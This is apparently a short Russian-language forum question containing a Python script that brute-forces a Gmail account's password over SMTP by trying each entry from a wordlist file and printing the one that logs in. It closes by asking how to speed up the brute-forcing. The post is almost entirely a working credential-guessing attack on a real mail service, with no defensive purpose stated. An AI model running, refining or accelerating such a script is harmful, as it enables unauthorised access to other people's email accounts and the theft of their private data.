Код:
import smtplib
smtp_server = smtplib.SMTP("smtp.gmail.com", 587)
smtp_server.starttls()
# Используем with для автоматического закрытия файла
with open('{словарь}', 'r') as password_list:
for line_number, password in enumerate(password_list):
# Удаляем символ новой строки в конце пароля
password = password.strip()
try:
smtp_server.login("email@gmail.com", password)
print(f"Пароль найден: {password}")
break # Прерываем цикл, если логин успешный
except smtplib.SMTPAuthenticationError:
print(f'Попытка #{line_number + 1} неудачна для пароля: {password}')
except Exception as e:
print(f"Произошла ошибка: {e}")
break
smtp_server.quit()
вопрос в том чтобы ускорить процесс брута